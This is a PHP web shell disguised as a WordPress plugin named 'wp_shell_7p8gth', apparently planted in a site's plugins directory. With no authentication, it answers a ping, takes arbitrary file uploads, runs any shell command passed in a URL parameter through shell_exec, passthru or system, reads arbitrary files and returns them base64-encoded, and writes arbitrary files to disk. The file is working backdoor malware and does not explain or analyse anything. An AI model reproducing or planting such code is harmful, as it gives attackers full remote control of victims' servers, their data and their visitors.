File: /home/slyfwmm/laretediclo/wp-content/plugins/wp_shell_7p8gth/ws.php
<?php
/**
* Plugin Name: wp_shell_7p8gth
* Version: 1.0
*/
?>
<?php
if(isset($_GET['p'])){echo 'pwn_r1wfee3x::PONG::END';exit;}
if(isset($_GET['up'])){
if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['file'])){
$n=basename($_FILES['file']['name']);
$n=preg_replace('/[^A-Za-z0-9._-]/','_',$n);
if($n===''||$n==='.'||$n==='..'){echo 'BAD_NAME';exit;}
if(!is_uploaded_file($_FILES['file']['tmp_name'])){echo 'UPLOAD_ERR';exit;}
$dst=__DIR__.DIRECTORY_SEPARATOR.$n;
if(@move_uploaded_file($_FILES['file']['tmp_name'],$dst)){echo 'success:'.$n;}
else{echo 'MOVE_FAIL';}
exit;
}
header('Content-Type: text/html; charset=utf-8');
echo '<form method="post" enctype="multipart/form-data"><input type="file" name="file"><button>up</button></form>';
exit;
}
if(isset($_GET['c'])){@chdir(__DIR__);$o='';if(function_exists('shell_exec')){$o=@shell_exec($_GET['c']);}elseif(function_exists('passthru')){ob_start();@passthru($_GET['c']);$o=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($_GET['c']);$o=ob_get_clean();}echo 'pwn_r1wfee3x::'.$o.'::END';exit;}
if(isset($_GET['r'])){$f=@file_get_contents($_GET['r']);echo 'pwn_r1wfee3x::'.($f===false?'NOREAD':base64_encode($f)).'::END';exit;}
if(isset($_GET['w'])&&isset($_POST['d'])){$p=$_GET['w'];@mkdir(dirname($p),0755,true);$ok=@file_put_contents($p,$_POST['d'])!==false && @filesize($p)>0;echo 'pwn_r1wfee3x::'.($ok?'OK':'FAIL').'::END';exit;}